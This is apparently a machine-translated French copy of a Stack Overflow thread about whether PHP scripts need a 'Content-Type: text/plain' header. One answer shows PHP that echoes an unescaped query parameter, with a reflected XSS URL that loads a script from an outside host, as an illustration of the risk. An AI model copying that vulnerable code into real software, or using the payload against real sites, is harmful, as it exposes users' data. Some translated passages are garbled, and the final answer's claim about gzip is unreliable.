web-dev-qa-db-fra.com

Est en-tête ('Content-Type: text / plain'); nécessaire du tout?

Je n'ai pas encore vu de différence avec ou sans cette information de tête.

56
omg

Définir "nécessaire".

Il est nécessaire si vous voulez que le navigateur sache quel est le type du fichier. PHP définit automatiquement le Content-Type en-tête à text/html si vous ne le remplacez pas, votre navigateur le considère comme un fichier HTML ne contenant aucun code HTML. Si votre sortie contenait du HTML, vous obtiendriez des résultats très différents. Si vous deviez envoyer:

<b><i>test</i></b>

une Content-Type: text/html afficherait:

test

tandis que Content-Type: text/plain afficherait:

<b><i>test</i></b>

Version TLDR: Si vous ne produisez que du texte, cela n'a pas vraiment d'importance, mais il [~ # ~] est [~ # ~] faux.

102
Jeremy Logan

PHP utilise par défaut Content-Type "text/html" - ce qui est assez similaire à "text/plain" - et ceci explique pourquoi vous ne voyez aucune différence. text/plain est nécessaire si vous souhaitez générer du texte tel quel (y compris les symboles <> -). Exemples:

header("Content-Type: text/plain");
echo "<b>hello world</b>";
// Output: <b>hello world</b>

header("Content-Type: text/html");
echo "<b>hello world</b>";
// Output: hello world
47
Kristoffer Bohmann

Il est très important que vous indiquiez au navigateur le type de données que vous lui envoyez. La différence devrait être évidente. Essayez d’afficher la sortie du fichier PHP) suivant dans votre navigateur;

<?php
header('Content-Type:text/html');
?>
<p>Hello</p>

Tu verras:

bonjour

(notez que vous obtiendrez les mêmes résultats si vous manquez la ligne d'en-tête dans ce cas - text/html est la valeur par défaut de php)

Changez le en text/plain

<?php
header('Content-Type:text/plain');
?>
<p>Hello</p>

Tu verras:

<p> Bonjour </ p>

Pourquoi est-ce important? Si vous avez quelque chose comme ce qui suit dans un script php qui, par exemple, est utilisé par une requête ajax:

<?php
header('Content-Type:text/html');
print "Your name is " . $_GET['name']

Quelqu'un peut mettre un lien vers une URL telle que http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script % 3E sur leur site, et si un utilisateur clique dessus, il a exposé toutes ses informations sur votre site à celui qui a mis en place le lien. Si vous servez le fichier en tant que text/plain, vous êtes en sécurité.

Notez que c’est un exemple ridicule, il est plus probable que la balise de script incorrecte soit ajoutée par l’attaquant à un champ de la base de données ou en utilisant une soumission de formulaire.

11
rjmunro

La définition de l'en-tête Content-Type affectera la manière dont un navigateur Web traite votre contenu. Lorsque la plupart des navigateurs Web classiques rencontrent un type de contenu de type text/plain, ils affichent la source de texte brut dans la fenêtre du navigateur (par opposition à la source affichée au format HTML). C'est la différence entre voir

<b>foo</b>

ou

foo

De plus, lorsque vous utilisez l'objet XMLHttpRequest, votre en-tête Content-Type affectera la manière dont le navigateur sérialise les résultats renvoyés. Avant la reprise de AJAX frameworks tels que jQuery et Prototype, un problème commun avec AJAX réponses était un Content-Type défini à text/html au lieu de text/Des problèmes similaires risquent de se produire si le type de contenu était text/plain.

7
Alan Storm

Supposons que vous souhaitiez répondre à une demande avec un statut HTTP 204: No Content. Firefox se plaindra avec "aucun élément trouvé" dans la console du navigateur. Ceci est un bogue dans Firefox qui a été signalé, mais jamais corrigé, depuis plusieurs années. En envoyant un en-tête "Content-type: text/plain", vous pouvez empêcher cette erreur dans Firefox.

1
reggie

non ce n'est pas comme ça, voici un exemple pour la prise en charge de ma réponse ----> la différence est clairement visible, lorsque vous optez pour la compression HTTP, qui vous permet de compresser les données lorsque vous vous déplacez de serveur à client et le type de ces données deviennent automatiquement "gzip" ce qui indique au navigateur que Bowser a obtenu un données compressées et qu'il doit pzip, voici un exemple où le type importe vraiment chez Bowser.

0
Ashish Agarwal